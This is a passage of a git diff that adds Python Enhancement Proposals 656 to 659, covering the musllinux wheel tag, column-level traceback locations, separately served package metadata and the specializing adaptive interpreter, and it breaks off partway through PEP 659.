permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0656.rst b/pep-0656.rst new file mode 100644 index 00000000000..554589af5df --- /dev/null +++ b/pep-0656.rst @@ -0,0 +1,220 @@ +PEP: 656 +Title: Platform Tag for Linux Distributions Using Musl +Author: Tzu-ping Chung +Sponsor: Brett Cannon +PEP-Delegate: Paul Moore +Discussions-To: https://discuss.python.org/t/7165 +Status: Final +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 17-Mar-2021 +Post-History: 17-Mar-2021, 18-Apr-2021 +Resolution: https://discuss.python.org/t/7165/32 + + +Abstract +======== + +This PEP proposes a new platform tag series ``musllinux`` for +binary Python package distributions for a Python installation that +depends on musl on a Linux distribution. The tag works similarly to +the "perennial manylinux" platform tags specified in :pep:`600`, but +targeting platforms based on musl instead. + + +Motivation +========== + +With the wide use of containers, distributions such as Alpine Linux +[alpine]_, have been gaining more popularity than ever. Many of them +based on musl [musl]_, a different libc implementation from glibc, and +therefore cannot use the existing ``manylinux`` platform tags. This +means that Python package projects cannot deploy binary distributions +on PyPI for them. Users of such projects demand build constraints from +those projects, putting unnecessary burden on project maintainers. + + +Rationale +========= + +According to the documentation, musl has a stable ABI, and maintains +backwards compatibility [musl-compatibility]_ [compare-libcs]_, so a +binary compiled against an earlier version of musl is guaranteed to +run against a newer musl runtime [musl-compat-ml]_. Therefore, we use +a scheme similar to the glibc-version-based manylinux tags, but +against musl versions instead of glibc. + +Logic behind the new platform tag largely follows :pep:`600` +("perennial manylinux"), and requires wheels using this tag make +similar promises. Please refer to :pep:`600` for more details on +rationale and reasoning behind the design. + +The ``musllinux`` platform tags only apply to Python interpreters +dynamically linked against the musl libc and executed on the runtime +shared library, on a Linux operating system. Statically linked +interpreters or mixed builds with other libc implementations (such as +glibc) are out of scope and not supported by platform tags defined in +this document. Such interpreters should not claim compatibility with +``musllinux`` platform tags. + + +Specification +============= + +Tags using the new scheme will take the form:: + + musllinux_${MUSLMAJOR}_${MUSLMINOR}_${ARCH} + +This tag promises the wheel works on any mainstream Linux distribution +that uses musl version ``${MUSLMAJOR}.${MUSLMINOR}``, following the +perennial design. All other system-level dependency requirements rely +on the community's definition to the intentionally vague "mainstream" +description introduced in :pep:`600`. A wheel may make use of newer +system dependencies when all mainstream distributions using the +specified musl version provide the dependency by default; once all +mainstream distributions on the musl version ship a certain dependency +version by default, users relying on older versions are automatically +removed from the coverage of that ``musllinux`` tag. + + +Reading the musl version +------------------------ + +The musl version values can be obtained by executing the musl libc +shared library the Python interpreter is currently running on, and +parsing the output:: + + import re + import subprocess + + def get_musl_major_minor(so: str) -> tuple[int, int] | None: + """Detect musl runtime version. + + Returns a two-tuple ``(major, minor)`` that indicates musl + library's version, or ``None`` if the given libc .so does not + output expected information. + + The libc library should output something like this to stderr:: + + musl libc (x86_64) + Version 1.2.2 + Dynamic Program Loader + """ + proc = subprocess.run([so], stderr=subprocess.PIPE, text=True) + lines = (line.strip() for line in proc.stderr.splitlines()) + lines = [line for line in lines if line] + if len(lines) < 2 or lines[0][:4] != "musl": + return None + match = re.match(r"Version (\d+)\.(\d+)", lines[1]) + if match: + return (int(match.group(1)), int(match.group(2))) + return None + +There are currently two possible ways to find the musl library's +location that a Python interpreter is running on, either with the +system ``ldd`` command [ldd]_, or by parsing the ``PT_INTERP`` +section's value from the executable's ELF header [elf]_. + + +Formatting the tag +------------------ + +Distributions using the tag make similar promises to those described +in :pep:`600`, including: + +1. The distribution works on any mainstream Linux distributions with + musl version ``${MUSLMAJOR}.${MUSLMINOR}`` or later. +2. The distribution's ``${ARCH}`` matches the return value of + ``sysconfig.get_platform()`` on the host system, replacing period + (``.``) and hyphen (``-``) characters with underscores (``_``), as + outlined in :pep:`425` and :pep:`427`. + +Example values:: + + musllinux_1_1_x86_64 # musl 1.1 running on x86-64. + musllinux_1_2_aarch64 # musl 1.2 running on ARM 64-bit. + +The value can be formatted with the following Python code:: + + import sysconfig + + def format_musllinux(musl_version: tuple[int, int]) -> str: + os_name, sep, arch = sysconfig.get_platform().partition("-") + assert os_name == "linux" and sep, "Not a Linux" + arch = arch.replace(".", "_").replace("-", "_") + return f"musllinux_{musl_version[0]}_{musl_version[1]}_{arch}" + +Recommendations to package indexes +---------------------------------- + +It is recommended for Python package repositories, including PyPI, to +accept platform tags matching the following regular expression:: + + musllinux_([0-9]+)_([0-9]+)_([^.-]+) + +Python package repositories may impose additional requirements to +reject Wheels with known issues, including but not limited to: + +* A ``musllinux_1_1`` wheel containing symbols only available in musl + 1.2 or later. +* Wheel that depends on external libraries not considered generally + available to the intended audience of the package index. +* A platform tag claiming compatibility to a non-existent musl version + (like ``musllinux_9000_0``). + +Such policies are ultimately up to individual package repositories. +It is not the author's intention to impose restrictions to the +maintainers. + + +Backwards Compatibility +======================= + +There are no backwards compatibility concerns in this PEP. + + +Rejected Ideas +============== + +Create a platform tag based specifically for Alpine Linux +--------------------------------------------------------- + +Past experience on the ``manylinux`` tag series shows this approach +would be too costly time-wise. The author feels the "works well with +others" rule both is more inclusive and works well enough in practice. + + +References +========== + +.. [alpine] https://alpinelinux.org/ + +.. [musl] https://musl.libc.org + +.. [musl-compatibility] https://wiki.musl-libc.org/compatibility.html + +.. [compare-libcs] https://www.etalabs.net/compare_libcs.html + +.. [musl-compat-ml] https://mail.python.org/archives/list/distutils-sig@python.org/message/VRXSTNXWHPAVUW253ZCWWMP7WDTBAQDL/ + +.. [ldd] https://www.unix.com/man-page/posix/1/ldd/ + +.. [elf] https://refspecs.linuxfoundation.org/elf/elf.pdf + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0657.rst b/pep-0657.rst new file mode 100644 index 00000000000..255911e3af4 --- /dev/null +++ b/pep-0657.rst @@ -0,0 +1,460 @@ +PEP: 657 +Title: Include Fine Grained Error Locations in Tracebacks +Version: $Revision$ +Last-Modified: $Date$ +Author: Pablo Galindo , + Batuhan Taskaya , + Ammar Askar +Discussions-To: https://discuss.python.org/t/pep-657-include-fine-grained-error-locations-in-tracebacks/8629 +Status: Final +Type: Standards Track +Content-Type: text/x-rst +Created: 08-May-2021 +Python-Version: 3.11 +Post-History: + +Abstract +======== + +This PEP proposes adding a mapping from each bytecode instruction to the start +and end column offsets of the line that generated them as well as the end line +number. This data will be used to improve tracebacks displayed by the CPython +interpreter in order to improve the debugging experience. The PEP also proposes +adding APIs that allow other tools (such as coverage analysis tools, profilers, +tracers, debuggers) to consume this information from code objects. + +Motivation +========== + +The primary motivation for this PEP is to improve the feedback presented about +the location of errors to aid with debugging. + +Python currently keeps a mapping of bytecode to line numbers from compilation. +The interpreter uses this mapping to point to the source line associated with +an error. While this line-level granularity for instructions is useful, a +single line of Python code can compile into dozens of bytecode operations +making it hard to track which part of the line caused the error. + +Consider the following line of Python code:: + + x['a']['b']['c']['d'] = 1 + +If any of the values in the dictionaries are ``None``, the error shown is:: + + Traceback (most recent call last): + File "test.py", line 2, in + x['a']['b']['c']['d'] = 1 + TypeError: 'NoneType' object is not subscriptable + +From the traceback, it is impossible to determine which one of the dictionaries +had the ``None`` element that caused the error. Users often have to attach a +debugger or split up their expression to track down the problem. + +However, if the interpreter had a mapping of bytecode to column offsets as well +as line numbers, it could helpfully display:: + + Traceback (most recent call last): + File "test.py", line 2, in + x['a']['b']['c']['d'] = 1 + ~~~~~~~~~~~^^^^^ + TypeError: 'NoneType' object is not subscriptable + +indicating to the user that the object ``x['a']['b']`` must have been ``None``. +This highlighting will occur for every frame in the traceback. For instance, if +a similar error is part of a complex function call chain, the traceback would +display the code associated to the current instruction in every frame:: + + Traceback (most recent call last): + File "test.py", line 14, in + lel3(x) + ^^^^^^^ + File "test.py", line 12, in lel3 + return lel2(x) / 23 + ^^^^^^^ + File "test.py", line 9, in lel2 + return 25 + lel(x) + lel(x) + ^^^^^^ + File "test.py", line 6, in lel + return 1 + foo(a,b,c=x['z']['x']['y']['z']['y'], d=e) + ~~~~~~~~~~~~~~~~^^^^^ + TypeError: 'NoneType' object is not subscriptable + +This problem presents itself in the following situations. + +* When passing down multiple objects to function calls while + accessing the same attribute in them. + For instance, this error:: + + Traceback (most recent call last): + File "test.py", line 19, in + foo(a.name, b.name, c.name) + AttributeError: 'NoneType' object has no attribute 'name' + + With the improvements in this PEP this would show:: + + Traceback (most recent call last): + File "test.py", line 17, in + foo(a.name, b.name, c.name) + ^^^^^^ + AttributeError: 'NoneType' object has no attribute 'name' + +* When dealing with lines with complex mathematical expressions, + especially with libraries such as numpy where arithmetic + operations can fail based on the arguments. For example: :: + + Traceback (most recent call last): + File "test.py", line 1, in + x = (a + b) @ (c + d) + ValueError: operands could not be broadcast together with shapes (1,2) (2,3) + + There is no clear indication as to which operation failed, was it the addition + on the left, the right or the matrix multiplication in the middle? With this + PEP the new error message would look like:: + + Traceback (most recent call last): + File "test.py", line 1, in + x = (a + b) @ (c + d) + ~~^~~ + ValueError: operands could not be broadcast together with shapes (1,2) (2,3) + + Giving a much clearer and easier to debug error message. + + +Debugging aside, this extra information would also be useful for code +coverage tools, enabling them to measure expression-level coverage instead of +just line-level coverage. For instance, given the following line: :: + + x = foo() if bar() else baz() + +coverage, profile or state analysis tools will highlight the full line in both +branches, making it impossible to differentiate what branch was taken. This is +a known problem in pycoverage_. + +Similar efforts to this PEP have taken place in other languages such as Java in +the form of JEP358_. ``NullPointerExceptions`` in Java were similarly nebulous when +it came to lines with complicated expressions. A ``NullPointerException`` would +provide very little aid in finding the root cause of an error. The +implementation for JEP358 is fairly complex, requiring walking back through the +bytecode by using a control flow graph analyzer and decompilation techniques to +recover the source code that led to the null pointer. Although the complexity +of this solution is high and requires maintenance for the decompiler every time +Java bytecode is changed, this improvement was deemed to be worth it for the +extra information provided for *just one exception type*. + + +Rationale +========= + +In order to identify the range of source code being executed when exceptions +are raised, this proposal requires adding new data for every bytecode +instruction. This will have an impact on the size of ``pyc`` files on disk and +the size of code objects in memory. The authors of this proposal have chosen +the data types in a way that tries to minimize this impact. The proposed +overhead is storing two ``uint8_t`` (one for the start offset and one for the +end offset) and the end line information for every bytecode instruction (in +the same encoded fashion as the start line is stored currently). + +As an illustrative example to gauge the impact of this change, we have +calculated that including the start and end offsets will increase the size of +the standard library’s pyc files by 22% (6MB) from 28.4MB to 34.7MB. The +overhead in memory usage will be the same (assuming the *full standard library* +is loaded into the same program). We believe that this is a very acceptable +number since the order of magnitude of the overhead is very small, especially +considering the storage size and memory capabilities of modern computers. +Additionally, in general the memory size of a Python program is not dominated +by code objects. To check this assumption we have executed the test suite of +several popular PyPI projects (including NumPy, pytest, Django and Cython) as +well as several applications (Black, pylint, mypy executed over either mypy or +the standard library) and we found that code objects represent normally 3-6% of +the average memory size of the program. + +We understand that the extra cost of this information may not be acceptable for +some users, so we propose an opt-out mechanism which will cause generated code +objects to not have the extra information while also allowing pyc files to not +include the extra information. + + +Specification +============= + +In order to have enough information to correctly resolve the location +within a given line where an error was raised, a map linking bytecode +instructions to column offsets (start and end offset) and end line numbers +is needed. This is similar in fashion to how line numbers are currently linked +to bytecode instructions. + +The following changes will be performed as part of the implementation of +this PEP: + +* The offset information will be exposed to Python via a new attribute in the + code object class called ``co_positions`` that will return a sequence of + four-element tuples containing the full location of every instruction + (including start line, end line, start column offset and end column offset) + or ``None`` if the code object was created without the offset information. +* One new C-API function: :: + + int PyCode_Addr2Location( + PyCodeObject *co, int addrq, + int *start_line, int *start_column, + int *end_line, int *end_column) + + will be added so the end line, the start column offsets and the end column + offset can be obtained given the index of a bytecode instruction. This + function will set the values to 0 if the information is not available. + +The internal storage, compression and encoding of the information is left as an +implementation detail and can be changed at any point as long as the public API +remains unchanged. + +Offset semantics +^^^^^^^^^^^^^^^^ + +These offsets are propagated by the compiler from the ones stored currently in +all AST nodes. The output of the public APIs (``co_positions`` and ``PyCode_Addr2Location``) +that deal with these attributes use 0-indexed offsets (just like the AST nodes), but the underlying +implementation is free to represent the actual data in whatever form they choose to be most efficient. +The error code regarding information not available is ``None`` for the ``co_positions()`` API, +and ``-1`` for the ``PyCode_Addr2Location`` API. The availability of the information highly depends +on whether the offsets fall under the range, as well as the runtime flags for the interpreter +configuration. + +The AST nodes use ``int`` types to store these values. The current implementation, however, +utilizes ``uint8_t`` types as an implementation detail to minimize storage impact. This decision +allows offsets to go from 0 to 255, while offsets bigger than these values will be treated as +missing (returning ``-1`` on the ``PyCode_Addr2Location`` and ``None`` API in the ``co_positions()`` API). + +As specified previously, the underlying storage of the offsets should be +considered an implementation detail, as the public APIs to obtain this values +will return either C ``int`` types or Python ``int`` objects, which allows to +implement better compression/encoding in the future if bigger ranges would need +to be supported. This PEP proposes to start with this simpler version and +defer improvements to future work. + +Displaying tracebacks +^^^^^^^^^^^^^^^^^^^^^ + +When displaying tracebacks, the default exception hook will be modified to +query this information from the code objects and use it to display a sequence +of carets for every displayed line in the traceback if the information is +available. For instance:: + + File "test.py", line 6, in lel + return 1 + foo(a,b,c=x['z']['x']['y']['z']['y'], d=e) + ~~~~~~~~~~~~~~~~^^^^^ + TypeError: 'NoneType' object is not subscriptable + +When displaying tracebacks, instruction offsets will be taken from the +traceback objects. This makes highlighting exceptions that are re-raised work +naturally without the need to store the new information in the stack. For +example, for this code:: + + def foo(x): + 1 + 1/0 + 2 + + def bar(x): + try: + 1 + foo(x) + foo(x) + except Exception as e: + raise ValueError("oh no!") from e + + bar(bar(bar(2))) + +The printed traceback would look like this:: + + Traceback (most recent call last): + File "test.py", line 6, in bar + 1 + foo(x) + foo(x) + ^^^^^^ + File "test.py", line 2, in foo + 1 + 1/0 + 2 + ~^~ + ZeroDivisionError: division by zero + + The above exception was the direct cause of the following exception: + + Traceback (most recent call last): + File "test.py", line 10, in + bar(bar(bar(2))) + ^^^^^^ + File "test.py", line 8, in bar + raise ValueError("oh no!") from e + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ValueError: oh no + +While this code:: + + def foo(x): + 1 + 1/0 + 2 + def bar(x): + try: + 1 + foo(x) + foo(x) + except Exception: + raise + bar(bar(bar(2))) + +Will be displayed as:: + + Traceback (most recent call last): + File "test.py", line 10, in + bar(bar(bar(2))) + ^^^^^^ + File "test.py", line 6, in bar + 1 + foo(x) + foo(x) + ^^^^^^ + File "test.py", line 2, in foo + 1 + 1/0 + 2 + ~^~ + ZeroDivisionError: division by zero + +Maintaining the current behavior, only a single line will be displayed +in tracebacks. For instructions that span multiple lines (the end offset +and the start offset belong to different lines), the end line number must +be inspected to know if the end offset applies to the same line as the +starting offset. + +Opt-out mechanism +^^^^^^^^^^^^^^^^^ + +To offer an opt-out mechanism for those users that care about the +storage and memory overhead and to allow third party tools and other +programs that are currently parsing tracebacks to catch up the following +methods will be provided to deactivate this feature: + +* A new environment variable: ``PYTHONNODEBUGRANGES``. +* A new command line option for the dev mode: ``python -Xno_debug_ranges``. + +If any of these methods are used, the Python compiler will **not** populate +code objects with the new information (``None`` will be used instead) and any +unmarshalled code objects that contain the extra information will have it stripped +away and replaced with ``None``). Additionally, the traceback machinery will not +show the extended location information even if the information was present. +This method allows users to: + +* Create smaller ``pyc`` files by using one of the two methods when said files + are created. +* Don't load the extra information from ``pyc`` files if those were created with + the extra information in the first place. +* Deactivate the extra information when displaying tracebacks (the caret characters + indicating the location of the error). + +Doing this has a **very small** performance hit as the interpreter state needs +to be fetched when code objects are created to look up the configuration. +Creating code objects is not a performance sensitive operation so this should +not be a concern. + +Backwards Compatibility +======================= + +The change is fully backwards compatible. + + +Reference Implementation +======================== + +A reference implementation can be found in the implementation_ fork. + +Rejected Ideas +============== + +Use a single caret instead of a range +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +It has been proposed to use a single caret instead of highlighting the full +range when reporting errors as a way to simplify the feature. We have decided +to not go this route for the following reasons: + +* Deriving the location of the caret is not straightforward using the current + layout of the AST. This is because the AST nodes only record the start and end + line numbers as well as the start and end column offsets. As the AST nodes do + not preserve the original tokens (by design) deriving the exact location of some + tokens is not possible without extra re-parsing. For instance, currently binary + operators have nodes for the operands but the type of the operator is stored + in an enumeration so its location cannot be derived from the node (this is just + an example of how this problem manifest, and not the only one). +* Deriving the ranges from AST nodes greatly simplifies the implementation and reduces + a lot the maintenance cost and the possibilities of errors. This is because using + the ranges is always possible to do generically for any AST node, while any other + custom information would need to be extracted differently from different types of + nodes. Given how error-prone getting the locations manually was when this used to + be a manual process when generating the AST, we believe that a generic solution is + a very important property to pursue. +* Storing the information to highlight a single caret will be very limiting for tools + such as coverage tools and profilers as well as for tools like IPython and IDEs that + want to make use of this new feature. As `this message `_ from the author of "friendly-traceback" + mentions, the reason is that without the full range (including end lines) these tools + will find very difficult to highlight correctly the relevant source code. For instance, + for this code:: + + something = foo(a,b,c) if bar(a,b,c) else other(b,c,d) + + tools (such as coverage reporters) want to be able to highlight the totality of the call + that is covered by the executed bytecode (let's say ``foo(a,b,c)``) and not just a single + character. Even if is technically possible to re-parse and re-tokenize the source code + to re-construct the information, it is not possible to do this reliably and would + result in a much worse user experience. +* Many users have reported that a single caret is much harder to read than a full range, + and this motivated using ranges to highlight syntax errors, which was very well received. + Additionally, it has been noted that users with vision problems can identify the ranges + much easily than a single caret character, which we believe is a great advantage of + using ranges. + +Have a configure flag to opt out +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +Having a configure flag to opt out of the overhead even when executing Python +in non-optimized mode may sound desirable, but it may cause problems when +reading pyc files that were created with a version of the interpreter that was +not compiled with the flag activated. This can lead to crashes that would be +very difficult to debug for regular users and will make different pyc files +incompatible between each other. As this pyc could be shipped as part of +libraries or applications without the original source, it is also not always +possible to force recompilation of said pyc files. For these reasons we have +decided to use the -O flag to opt-out of this behaviour. + +Lazy loading of column information +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +One potential solution to reduce the memory usage of this feature is to not +load the column information from the pyc file when code is imported. Only if an +uncaught exception bubbles up or if a call to the C-API functions is made will +the column information be loaded from the pyc file. This is similar to how we +only read source lines to display them in the traceback when an exception +bubbles up. While this would indeed lower memory usage, it also results in a +far more complex implementation requiring changes to the importing machinery to +selectively ignore a part of the code object. We consider this an interesting +avenue to explore but ultimately we think is out of the scope for this particular +PEP. It also means that column information will not be available if the user is +not using pyc files or for code objects created dynamically at runtime. + +Implement compression +^^^^^^^^^^^^^^^^^^^^^ +Although it would be possible to implement some form of compression over the +pyc files and the new data in code objects, we believe that this is out of the +scope of this proposal due to its larger impact (in the case of pyc files) and +the fact that we expect column offsets to not compress well due to the lack of +patterns in them (in case of the new data in code objects). + +Acknowledgments +=============== +Thanks to Carl Friedrich Bolz-Tereick for showing an initial prototype of this +idea for the Pypy interpreter and for the helpful discussion. + + +References +========== + +.. _JEP358: https://openjdk.java.net/jeps/358 +.. _implementation: https://github.com/colnotab/cpython/tree/bpo-43950 +.. _pycoverage: https://github.com/nedbat/coveragepy/issues/509 + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0658.rst b/pep-0658.rst new file mode 100644 index 00000000000..84b9834a5e6 --- /dev/null +++ b/pep-0658.rst @@ -0,0 +1,179 @@ +PEP: 658 +Title: Serve Distribution Metadata in the Simple Repository API +Author: Tzu-ping Chung +Sponsor: Brett Cannon +PEP-Delegate: Donald Stufft +Discussions-To: https://discuss.python.org/t/8651 +Status: Accepted +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 10-May-2021 +Post-History: 10-May-2021 +Resolution: https://discuss.python.org/t/8651/48 + + +Abstract +======== + +This PEP proposes adding an anchor tag to expose the ``METADATA`` file +from distributions in the :pep:`503` "simple" repository API. A +``data-dist-info-metadata`` attribute is introduced to indicate that +the file from a given distribution can be independently fetched. + + +Motivation +========== + +Package management workflows made popular by recent tooling increase +the need to inspect distribution metadata without intending to install +the distribution, and download multiple distributions of a project to +choose from based on their metadata. This means they end up discarding +much downloaded data, which is inefficient and results in a bad user +experience. + + +Rationale +========= + +Tools have been exploring methods to reduce the download size by +partially downloading wheels with HTTP range requests. This, however, +adds additional run-time requirements to the repository server. It +also still adds additional overhead, since a separate request is +needed to fetch the wheel's file listing to find the correct offset to +fetch the metadata file. It is therefore desired to make the server +extract the metadata file in advance, and serve it as an independent +file to avoid the need to perform additional requests and ZIP +inspection. + +The metadata file defined by the Core Metadata Specification +[core-metadata]_ will be served directly by repositories since it +contains the necessary information for common use cases. The metadata +must only be served for standards-compliant distributions such as +wheels [wheel]_ and sdists [sdist]_, and must be identical to the +distribution's canonical metadata file, such as a wheel's ``METADATA`` +file in the ``.dist-info`` directory [dist-info]_. + +An HTML attribute on the distribution file's anchor link is needed to +indicate whether a client is able to choose the separately served +metadata file. The attribute is also used to provide the metadata +content's hash for client-side verification. The attribute's absence +indicates that a separate metadata entry is not available for the +distribution, either because of the distribution's content, or lack of +repository support. + + +Specification +============= + +In a simple repository's project page, each anchor tag pointing to a +distribution **MAY** have a ``data-dist-info-metadata`` attribute. The +presence of the attribute indicates the distribution represented by +the anchor tag **MUST** contain a Core Metadata file that will not be +modified when the distribution is processed and/or installed. + +If a ``data-dist-info-metadata`` attribute is present, the repository +**MUST** serve the distribution's Core Metadata file alongside the +distribution with a ``.metadata`` appended to the distribution's file +name. For example, the Core Metadata of a distribution served at +``/files/distribution-1.0-py3.none.any.whl`` would be located at +``/files/distribution-1.0-py3.none.any.whl.metadata``. This is similar +to how :pep:`503` specifies the GPG signature file's location. + +The repository **SHOULD** provide the hash of the Core Metadata file +as the ``data-dist-info-metadata`` attribute's value using the syntax +``=``, where ```` is the lower cased +name of the hash function used, and ```` is the hex encoded +digest. The repository **MAY** use ``true`` as the attribute's value +if a hash is unavailable. + + +Backwards Compatibility +======================= + +If an anchor tag lacks the ``data-dist-info-metadata`` attribute, +tools are expected to revert to their current behaviour of downloading +the distribution to inspect the metadata. + +Older tools not supporting the new ``data-dist-info-metadata`` +attribute are expected to ignore the attribute and maintain their +current behaviour of downloading the distribution to inspect the +metadata. This is similar to how prior ``data-`` attribute additions +expect existing tools to operate. + + +Rejected Ideas +============== + +Put metadata content on the project page +---------------------------------------- + +Since tools generally only need dependency information from a +distribution in addition to what's already available on the project +page, it was proposed that repositories may directly include the +information on the project page, like the ``data-requires-python`` +attribute specified in :pep:`503`. + +This approach was abandoned since a distribution may contain +arbitrarily long lists of dependencies (including required and +optional), and it is unclear whether including the information for +every distribution in a project would result in net savings since the +information for most distributions generally ends up unneeded. By +serving the metadata separately, performance can be better estimated +since data usage will be more proportional to the number of +distributions inspected. + + +Expose more files in the distribution +------------------------------------- + +It was proposed to provide the entire ``.dist-info`` directory as a +separate part, instead of only the metadata file. However, searving +multiple files in one entity through HTTP requires re-archiving them +separately after they are extracted from the original distribution +by the repository server, and there are no current use cases for files +other than ``METADATA`` when the distribution itself is not going to +be installed. + +It should also be noted that the approach taken here does not +preclude other files from being introduced in the future, whether we +want to serve them together or individually. + + +Explicitly specify the metadata file's URL on the project page +-------------------------------------------------------------- + +An early version of this draft proposed putting the metadata file's +URL in the ``data-dist-info-metadata`` attribute. But people feel it +is better for discoverability to require the repository to serve the +metadata file at a determined location instead. The current approach +also has an additional benefit of making the project page smaller. + + +References +========== + +.. [core-metadata] https://packaging.python.org/specifications/core-metadata/ + +.. [dist-info] https://packaging.python.org/specifications/recording-installed-packages/ + +.. [wheel] https://packaging.python.org/specifications/binary-distribution-format/ + +.. [sdist] https://packaging.python.org/specifications/source-distribution-format/ + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0659.rst b/pep-0659.rst new file mode 100644 index 00000000000..5647cbe5e11 --- /dev/null +++ b/pep-0659.rst @@ -0,0 +1,389 @@ +PEP: 659 +Title: Specializing Adaptive Interpreter +Author: Mark Shannon +Status: Draft +Type: Informational +Content-Type: text/x-rst +Created: 13-Apr-2021 +Post-History: 11-May-2021 + + +Abstract +======== + +In order to perform well, virtual machines for dynamic languages must +specialize the code that they execute to the types and values in the +program being run. This specialization is often associated with "JIT" +compilers, but is beneficial even without machine code generation. + +A specializing, adaptive interpreter is one that speculatively specializes +on the types or values it is currently operating on, and adapts to changes +in those types and values. + +Specialization gives us improved performance, and adaptation allows the +interpreter to rapidly change when the pattern of usage in a program alters, +limiting the amount of additional work caused by mis-specialization. + +This PEP proposes using a specializing, adaptive interpreter that specializes +code aggressively, but over a very small region, and is able to adjust to +mis-specialization rapidly and at low cost. + +Adding a specializing, adaptive interpreter to CPython will bring significant +performance improvements. It is hard to come up with meaningful numbers, +as it depends very much on the benchmarks and on work that has not yet happened. +Extensive experimentation suggests speedups of up to 50%. +Even if the speedup were only 25%, this would still be a worthwhile enhancement. + +Motivation +========== + +Python is widely acknowledged as slow. +Whilst Python will never attain the performance of low-level languages like C, +Fortran, or even Java, we would like it to be competitive with fast +implementations of scripting languages, like V8 for Javascript or luajit for +lua. +Specifically, we want to achieve these performance goals with CPython to +benefit all users of Python including those unable to use PyPy or +other alternative virtual machines. + +Achieving these performance goals is a long way off, and will require a lot of +engineering effort, but we can make a significant step towards those goals by +speeding up the interpreter. +Both academic research and practical implementations have shown that a fast +interpreter is a key part of a fast virtual machine. + +Typical optimizations for virtual machines are expensive, so a long "warm up" +time is required to gain confidence that the cost of optimization is justified. +In order to get speed-ups rapidly, without noticeable warmup times, +the VM should speculate that specialization is justified even after a few +executions of a function. To do that effectively, the interpreter must be able +to optimize and de-optimize continually and very cheaply. + +By using adaptive and speculative specialization at the granularity of +individual virtual machine instructions, +we get a faster interpreter that also generates profiling information +for more sophisticated optimizations in the future. + +Rationale +========= + +There are many practical ways to speed-up a virtual machine for a dynamic +language. +However, specialization is the most important, both in itself and as an +enabler of other optimizations. +Therefore it makes sense to focus our efforts on specialization first, +if we want to improve the performance of CPython. + +Specialization is typically done in the context of a JIT compiler, +but research shows specialization in an interpreter can boost performance +significantly, even outperforming a naive compiler [1]_. + +There have been several ways of doing this proposed in the academic +literature, but most attempt to optimize regions larger than a +single bytecode [1]_ [2]_. +Using larger regions than a single instruction requires code to handle +de-optimization in the middle of a region. +Specialization at the level of individual bytecodes makes de-optimization +trivial, as it cannot occur in the middle of a region. + +By speculatively specializing individual bytecodes, we can gain significant +performance improvements without anything but the most local, +and trivial to implement, de-optimizations. + +The closest approach to this PEP in the literature is +"Inline Caching meets Quickening" [3]_. +This PEP has the advantages of inline caching, +but adds the ability to quickly de-optimize making the performance +more robust in cases where specialization fails or is not stable. + +Performance +----------- + +The speedup from specialization is hard to determine, as many specializations +depend on other optimizations. Speedups seem to be in the range 10% - 60%. + +* Most of the speedup comes directly from specialization. The largest + contributors are speedups to attribute lookup, global variables, and calls. +* A small, but useful, fraction is from from improved dispatch such as + super-instructions and other optimizations enabled by quickening. + +Implementation +============== + +Overview +-------- + +Any instruction that would benefit from specialization will be replaced by an +"adaptive" form of that instruction. When executed, the adaptive instructions +will specialize themselves in response to the types and values that they see. +This process is known as "quickening". + +Once an instruction in a code object has executed enough times, +that instruction will be "specialized" by replacing it with a new instruction +that is expected to execute faster for that operation. + +Quickening +---------- + +Quickening is the process of replacing slow instructions with faster variants. + +Quickened code has number of advantages over immutable bytecode: + +* It can be changed at runtime +* It can use super-instructions that span lines and take multiple operands. +* It does not need to handle tracing as it can fallback to the original + bytecode for that. + +In order that tracing can be supported, the quickened instruction format +should match the immutable, user visible, bytecode format: +16-bit instructions of 8-bit opcode followed by 8-bit operand. + +Adaptive instructions +--------------------- + +Each instruction that would benefit from specialization is replaced by an +adaptive version during quickening. For example, +the ``LOAD_ATTR`` instruction would be replaced with ``LOAD_ATTR_ADAPTIVE``. + +Each adaptive instruction periodically attempts to specialize itself. + +Specialization +-------------- + +CPython bytecode contains many instructions that represent high-level +operations, and would benefit from specialization. Examples include ``CALL``, +``LOAD_ATTR``, ``LOAD_GLOBAL`` and ``BINARY_ADD``. + +By introducing a "family" of specialized instructions for each of these +instructions allows effective specialization, +since each new instruction is specialized to a single task. +Each family will include an "adaptive" instruction, that maintains a counter +and attempts to specialize itself when that counter reaches zero. + +Each family will also include one or more specialized instructions that +perform the equivalent of the generic operation much faster provided their +inputs are as expected. +Each specialized instruction will maintain a saturating counter which will +be incremented whenever the inputs are as expected. Should the inputs not +be as expected, the counter will be decremented and the generic operation +will be performed. +If the counter reaches the minimum value, the instruction is de-optimized by +simply replacing its opcode with the adaptive version. + +Ancillary data +-------------- + +Most families of specialized instructions will require more information than +can fit in an 8-bit operand. To do this, a number of 16 bit entries immediately +following the instruction are used to store this data. This is a form of inline +cache, an "inline data cache". Unspecialized, or adaptive, instructions will +use the first entry of this cache as a counter, and simply skip over the others. + +Example families of instructions +-------------------------------- + +LOAD_ATTR +''''''''' + +The ``LOAD_ATTR`` loads the named attribute of the object on top of the stack, +then replaces the object on top of the stack with the attribute. + +This is an obvious candidate for specialization. Attributes might belong to +a normal instance, a class, a module, or one of many other special cases. + +``LOAD_ATTR`` would initially be quickened to ``LOAD_ATTR_ADAPTIVE`` which +would track how often it is executed, and call the ``_Py_Specialize_LoadAttr`` +internal function when executed enough times, or jump to the original +``LOAD_ATTR`` instruction to perform the load. When optimizing, the kind +of the attribute would be examined, and if a suitable specialized instruction +was found, it 